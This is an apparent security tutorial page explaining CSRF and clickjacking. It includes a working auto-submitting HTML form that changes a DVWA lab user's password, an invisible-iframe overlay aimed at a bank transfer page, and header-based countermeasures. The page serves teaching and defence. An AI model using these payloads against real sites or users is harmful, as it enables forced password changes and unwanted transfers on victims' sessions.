← Back to home
CSRF Clickjacking OWASP Tokens X-Frame-Options

CSRF & Clickjacking

Apr 12, 2022

Practical study of CSRF (Cross-Site Request Forgery) and Clickjacking (UI Redressing) vulnerabilities, including exploitation on DVWA and modern countermeasures.

1. CSRF β€” Cross-Site Request Forgery

The attacker tricks an authenticated user into executing unwanted actions on a web application where they have an active session (e.g., changing passwords or transferring funds).

The "Ambient Credentials" Issue

CSRF relies on standard browser behavior: if you are logged into bank.com and visit evil-site.com, and the evil site sends a hidden request back to bank.com, your browser will automatically attach your session cookies. The bank processes the request thinking it was intentionally made by you.

Exploitation on DVWA

By creating a malicious HTML page with an auto-submitting form, we can force state-changing requests without the user even clicking a button:

<!-- Malicious page sent to the victim -->
<html>
<body onload="document.forms[0].submit()">
  <h1>Loading funny cats...</h1>
  <form action="http://10.0.2.4/dvwa/vulnerabilities/csrf/" method="GET" style="display:none;">
    <input type="hidden" name="password_new" value="hacked">
    <input type="hidden" name="password_conf" value="hacked">
    <input type="hidden" name="Change" value="Change">
  </form>
</body>
</html>

πŸ”΄ Active CSRF Lab

Enter the banking simulator and prove you can craft a malicious HTML payload (PoC) capable of forcing a fund transfer by abusing the victim's browser.

>_ START CTF 04 CHALLENGE

CSRF Countermeasures

2. Clickjacking (UI Redressing)

The attacker overlays an invisible iframe of a legitimate page (like your bank) on top of a decoy button. The user thinks they are clicking "Win a prize", but they are actually clicking the bank's hidden "Confirm Transfer" button.

CSS Opacity Demonstration

<style>
  iframe {
    position: absolute; top: 0; left: 0;
    width: 100%; height: 100%;
    opacity: 0.0001;   /* Invisible but interactive */
    z-index: 999;
  }
  .fake-button { position: absolute; top: 200px; left: 300px; z-index: 1; }
</style>

<div class="fake-button">Click for free access!</div>
<iframe src="https://bank.com/transfer"></iframe>

Clickjacking Countermeasures

The legitimate site must declare that it shouldn't be framed:

# 1. CSP frame-ancestors directive (modern, preferred):
Header set Content-Security-Policy "frame-ancestors 'none';"

# 2. X-Frame-Options HTTP header (legacy support):
Header set X-Frame-Options "DENY"